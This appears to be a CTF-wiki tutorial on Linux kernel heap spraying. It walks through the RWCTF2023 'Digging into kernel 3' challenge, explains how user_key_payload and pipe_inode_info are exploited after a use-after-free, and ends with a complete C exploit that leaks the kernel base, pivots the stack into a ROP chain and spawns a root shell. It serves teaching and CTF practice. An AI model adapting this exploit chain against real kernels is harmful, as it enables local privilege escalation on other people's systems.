Skip to content

Heap Spray

Heap spraying refers to an auxiliary attack technique: "massively allocating identical structures to achieve a specific memory layout, thereby helping the attacker complete subsequent exploitation steps." It is commonly seen in the following scenarios:

  • You have a UAF, but you cannot obtain the target structure with a small number of memory allocations (e.g., the object does not belong to the current freelist and will return to the node after being freed, or like add_key() where it keeps being stuck on the first temporary structure). In this case, you can use heap spraying to ensure you obtain that object.
  • You have a heap overflow read/write, but the heap layout is unknown to you (e.g., SLAB_FREELIST_RANDOM is enabled, which is enabled by default). You can pre-spray a large number of specific structures to guarantee an overflow into one of them.
  • ......

As an auxiliary attack technique, heap spraying can be applied in various scenarios.

Example: RWCTF2023 Experience Contest - Digging into kernel 3

This writeup uses a relatively complex approach to solve the challenge in order to introduce the heap spraying technique and to use more diverse structures.

Challenge attachments can be downloaded at https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/RWCTF2023-digging-into-kernel-3.

Challenge Analysis

As usual, let's check the startup script. We can see that SMEP, SMAP, KASLR, and KPTI are enabled:

#!/bin/sh

qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel ./bzImage \
    -initrd ./rootfs.img \
    -enable-kvm \
    -cpu kvm64,+smap,+smep \
    -monitor /dev/null \
    -append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
    -no-reboot \
    -snapshot \
    -s

The filesystem contains an rwctf.ko file. Loading it into IDA for analysis, we find it only defines one ioctl with two functionalities:

  • 0xDEADBEEF: Allocate an object of arbitrary size and write data to it, with allocation flag __GFP_ZERO | GFP_KERNEL. However, we can only have two objects at the same time.
  • 0xC0DECAFE: Free a previously allocated object, UAF exists.

image.png

We need to pass in the following structure:

struct node {
    uint32_t idx;
    uint32_t size;
    void *buf;
};

After testing, the challenge author manually disabled the following protections that are enabled by default (the author may have disabled more to lower the difficulty; the author only tested these):

  • Disabled CONFIG_MEMCG_KMEM, which makes GFP_KERNEL and GFP_KERNEL_ACCOUNT allocate from the same kmalloc-xx
  • Disabled CONFIG_RANDOMIZE_KSTACK_OFFSET, which makes the offset from a fixed function call to the kernel stack bottom constant
  • Disabled SLAB_FREELIST_HARDENED, which leaves the freelist with almost no protection, allowing us to easily achieve arbitrary address allocation + arbitrary address read/write

However, in the author's opinion, the challenge author didn't need to lower the difficulty. Below, the author will provide an exploitation method that works even with all three protections enabled :)

Exploitation

Since the challenge directly provides an unrestricted UAF, there are many possible exploitation methods. Here the author chose to use user_key_payload to complete the exploit.

Step.I - Heap Spray user_key_payload for OOB Read to Leak Kernel Base Address

In the kernel, there is a subsystem for key management. The kernel provides the add_key() system call for key creation, and the keyctl() system call for key reading, updating, destroying, and other operations:

        #include <sys/types.h>
        #include <keyutils.h>

        key_serial_t add_key(const char *type, const char *description,
                                    const void *payload, size_t plen,
                                    key_serial_t keyring);
//...
       #include <asm/unistd.h>
       #include <linux/keyctl.h>
       #include <unistd.h>

       long syscall(__NR_keyctl, int operation, __kernel_ulong_t arg2,
                    __kernel_ulong_t arg3, __kernel_ulong_t arg4,
                    __kernel_ulong_t arg5);

When we call add_key() to allocate a key of type "user" with a description string, a length of plen, and content of payload, the kernel goes through the following process:

  • First, it allocates obj1 and obj2 in kernel space, with allocation flag GFP_KERNEL, to store the description (string, maximum size 4096) and payload (raw data, no size limit)
  • Allocates obj3 to store description and obj4 to store payload, both with allocation flag GFP_KERNEL
  • Frees obj1 and obj2, returns the key id

Among these, obj4 is a user_key_payload structure, defined as follows:

struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short  datalen;    /* length of this data */
    char        data[] __aligned(__alignof__(u64)); /* actual data */
};

//...

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

Similar to msg_msg, the user_key_payload structure has a fixed-size header, with the remaining space used to store data from userspace (key content).

The keyctl() system call provides us with the ability to read, update (allocate a new object, free the old one), and destroy keys (free the payload). The maximum read length is determined by user_key_payload->datalen. It's easy to see that we can use the UAF provided by the challenge to enlarge user_key_payload->datalen, thereby achieving out-of-bounds read.

Note the following two points:

  • Here our description string needs to have a different length from the payload, to simplify the exploitation model.
  • The len when reading a key should be no less than user_key_payload->datalen, otherwise the read will fail.

However, there is a problem: add_key() first allocates a temporary obj1 to copy the payload, and then allocates obj2 as the user_key_payload. If we first allocate an obj, free it, and then call add_key(), that obj will not directly become a user_key_payload, but will serve as a temporary obj for copying the payload in subsequent allocations.

But we can use heap spraying to allocate the UAF obj as a user_key_payload. Consider the following process:

  • Use the challenge functionality to construct a UAF object.
  • Heap spray user_key_payload. The UAF obj serves as a temporary obj for copying the payload.
  • The kmem_cache_cpu's slub page is exhausted. Request a new slub page from the node to allocate user_key_payload. After completion, the UAF obj is freed and returned to kmem_cache_node.
  • Continue heap spraying user_key_payload. The kmem_cache_cpu's slub page is exhausted. Request a new slub page from the node to allocate user_key_payload.
  • The page containing the UAF obj is retrieved, and the UAF obj is allocated as a user_key_payload.
  • Use the challenge functionality to free the UAF obj again, then use the challenge functionality to heap spray and obtain the obj, thereby overwriting the user_key_payload.

Note: The official solution also uses a similar approach for address leaking.

However, the author thinks it's actually easier to just use the challenge to allocate obj1 and obj2, free them all, and then set up UAF on obj2 :) This approach is used here only to introduce the heap spraying technique.

The author will use this method in Step.II.

Next, let's consider what data to read via out-of-bounds read. Here we don't need to allocate other structures. The rcu_head->func function pointer is written and called only after the rcu object is freed, but it is not set to NULL after the call. Therefore, we can leave kernel function pointers on the kernel heap by freeing keys, thereby leaking the kernel base address.

Step.II - UAF to Leak Controllable Heap Object Address, Corrupt pipe_buffer to Hijack Control Flow

There are many structures that can be used to control kernel execution flow, but we need to consider how to fully execute commit_creds(prepare_kernel_cred(NULL)) and then successfully return to userspace. Therefore, we need to perform stack pivoting to set up a fairly complete ROP gadget chain.

Since the challenge has SMEP and SMAP protections enabled, we can only forge function tables in kernel space. Additionally, most structures in the kernel have statically assigned function tables (e.g., tty->ops is always ptm (or pty)_unix98_ops), so we also need to know the address of a content-controllable kernel object to forge a function table in kernel space.

Here the author chose pipe-related structures for the exploit. In the kernel, a pipe is essentially represented by creating a virtual inode, which corresponds to a pipe_inode_info structure:

struct pipe_inode_info {
    struct mutex mutex;
    wait_queue_head_t rd_wait, wr_wait;
    unsigned int head;
    unsigned int tail;
    unsigned int max_usage;
    unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
    bool note_loss;
#endif
    unsigned int nr_accounted;
    unsigned int readers;
    unsigned int writers;
    unsigned int files;
    unsigned int r_counter;
    unsigned int w_counter;
    struct page *tmp_page;
    struct fasync_struct *fasync_readers;
    struct fasync_struct *fasync_writers;
    struct pipe_buffer *bufs;
    struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
    struct watch_queue *watch_queue;
#endif
};

At the same time, the kernel allocates an array of pipe_buffer structures, where each pipe_buffer corresponds to a memory page used for storing data:

struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

pipe_buf_operations is a function table. When we perform specific operations on a pipe, the kernel will call the corresponding function on this table. For example, when we close both ends of the pipe, it triggers the pipe_buffer->pipe_buffer_operations->release pointer, allowing us to control kernel execution flow and achieve privilege escalation.

struct pipe_buf_operations {
    //...

    /*
     * When the contents of this pipe buffer has been completely
     * consumed by a reader, ->release() is called.
     */
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

Here we can use UAF to make user_key_payload and pipe_inode_info occupy the same object. pipe_inode_info will conveniently change user_key_payload->datalen to 0xFFFF, enabling us to continue reading data, thus reading pipe_inode_info to leak the address of pipe_buffer.

Since pipe_buffer is dynamically allocated, we can use the challenge functionality to pre-allocate an object as the pipe_buffer and directly forge a function table on it.

What was rather troublesome for the author was finding stack pivoting gadgets... Fortunately, some suitable gadgets were found in the end.

EXPLOIT

The final exp is as follows:

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>

/**
 * Utilities
 */

size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile("mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

/**
 * Syscall keyctl() operator
 */

#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
#define KEYCTL_UPDATE           2   /* update a key */
#define KEYCTL_REVOKE           3   /* revoke a key */
#define KEYCTL_UNLINK           9   /* unlink a key from a keyring */
#define KEYCTL_READ             11  /* read a key or keyring's contents */

int key_alloc(char *description, void *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen, 
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, void *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, void *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

/**
 * Challenge interactiver
 */

/* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */
#define KEY_SPRAY_NUM 40

#define PIPE_INODE_INFO_SZ 192
#define PIPE_BUFFER_SZ 1024

#define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210
#define PREPARE_KERNEL_CRED 0xffffffff81096110
#define COMMIT_CREDS 0xffffffff81095c30
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0

#define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d
#define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4
#define POP_RDI_RET 0xffffffff8106ab4d
#define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70

int dev_fd;

struct node {
    uint32_t idx;
    uint32_t size;
    void *buf;
};

/**
 * @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL )
 * __GFP_RECLAIM = __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM 
 * GFP_KERNEL = __GFP_RECLAIM | __GFP_IO | __GFP_FS
 * 
 * @param idx 
 * @param size 
 * @param buf 
 */
void alloc(uint32_t idx, uint32_t size, void *buf)
{
    struct node n = {
        .idx = idx,
        .size = size,
        .buf = buf,
    };

    ioctl(dev_fd, 0xDEADBEEF, &n);
}

void del(uint32_t idx)
{
    struct node n = {
        .idx = idx,
    };

    ioctl(dev_fd, 0xC0DECAFE, &n);
}

/**
 * Exploit stage
 */

int main(int argc, char **argv, char **envp)
{
    size_t *buf, pipe_buffer_addr;
    int key_id[KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id;
    char desciption[0x100];
    int pipe_fd[2];
    int retval;

    /* fundamental works */
    bind_core(0);
    save_status();

    buf = malloc(sizeof(size_t) * 0x4000);

    dev_fd = open("/dev/rwctf", O_RDONLY);
    if (dev_fd < 0) {
        err_exit("FAILED to open the /dev/rwctf file!");
    }

    /* construct UAF on user_key_payload */
    puts("[*] construct UAF obj and spray keys...");
    alloc(0, PIPE_INODE_INFO_SZ, buf);
    del(0);

    for (int i = 0; i < KEY_SPRAY_NUM; i++) {
        snprintf(desciption, 0x100, "%s%d", "arttnba", i);
        key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);
        if (key_id[i] < 0) {
            printf("[x] failed to alloc %d key!\n", i);
            err_exit("FAILED to add_key()!");
        }
    }

    del(0);

    /* corrupt user_key_payload's header */
    puts("[*] corrupting user_key_payload...");

    buf[0] = 0;
    buf[1] = 0;
    buf[2] = 0x2000;

    for (int i = 0; i < (KEY_SPRAY_NUM * 2); i++) {
        alloc(0, PIPE_INODE_INFO_SZ, buf);
    }

    /* check for oob-read and leak kernel base */
    puts("[*] try to make an OOB-read...");

    for (int i = 0; i < KEY_SPRAY_NUM; i++) {
        if (key_read(key_id[i], buf, 0x4000) > PIPE_INODE_INFO_SZ) {
            printf("[+] found victim key at idx: %d\n", i);
            victim_key_idx = i;
        } else {
            key_revoke(key_id[i]);
        }
    }

    if (victim_key_idx == -1) {
        err_exit("FAILED at corrupt user_key_payload!");
    }

    kernel_offset = -1;
    for (int i = 0; i < 0x2000 / 8; i++) {
        if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) {
            kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;
            kernel_base += kernel_offset;
            break;
        }
    }

    if (kernel_offset == -1) {
        err_exit("FAILED to leak kernel addr!");
    }

    printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
    printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base);

    /* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr */
    puts("[*] construct UAF on pipe_inode_info...");

    /* 0->1->..., the 1 will be the payload object */
    alloc(0, PIPE_INODE_INFO_SZ, buf);
    alloc(1, PIPE_INODE_INFO_SZ, buf);
    del(1);
    del(0);

    pipe_key_id = key_alloc("arttnba3pipe", buf, PIPE_INODE_INFO_SZ - 0x18);
    del(1);

    /* this object is for the pipe buffer */
    alloc(0, PIPE_BUFFER_SZ, buf);
    del(0);

    pipe(pipe_fd);

    /* note that the user_key_payload->datalen is 0xFFFF now */
    retval = key_read(pipe_key_id, buf, 0xffff);
    pipe_buffer_addr = buf[16]; /* pipe_inode_info->bufs */
    printf("\033[32m\033[1m[+] Got pipe_buffer: \033[0m0x%lx\n", 
            pipe_buffer_addr);

    /* construct fake pipe_buf_operations */
    memset(buf, 'A', sizeof(buf));

    buf[0] = *(size_t*) "arttnba3";
    buf[1] = *(size_t*) "arttnba3";
    buf[2] = pipe_buffer_addr + 0x18;  /* pipe_buffer->ops */
    /* after release(), we got back here */
    buf[3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET;
    /* pipe_buf_operations->release */
    buf[4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET;
    buf[5] = *(size_t*) "arttnba3";
    buf[6] = *(size_t*) "arttnba3";
    buf[7] = kernel_offset + POP_RDI_RET;
    buf[8] = (size_t) NULL;
    buf[9] = kernel_offset + PREPARE_KERNEL_CRED;
    buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;
    buf[11] = kernel_offset + COMMIT_CREDS;
    buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;
    buf[13] = *(size_t*) "arttnba3";
    buf[14] = *(size_t*) "arttnba3";
    buf[15] = (size_t) get_root_shell;
    buf[16] = user_cs;
    buf[17] = user_rflags;
    buf[18] = user_sp + 8; /* system() wants it : ( */
    buf[19] = user_ss;

    del(0);
    alloc(0, PIPE_BUFFER_SZ, buf);

    /* trigger pipe_buf_operations->release */
    puts("[*] trigerring pipe_buf_operations->release()...");

    close(pipe_fd[1]);
    close(pipe_fd[0]);

    return 0;
}

REFERENCE

【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF

【PWN.0x02】Linux Kernel Pwn II:Commonly Used Structures Collection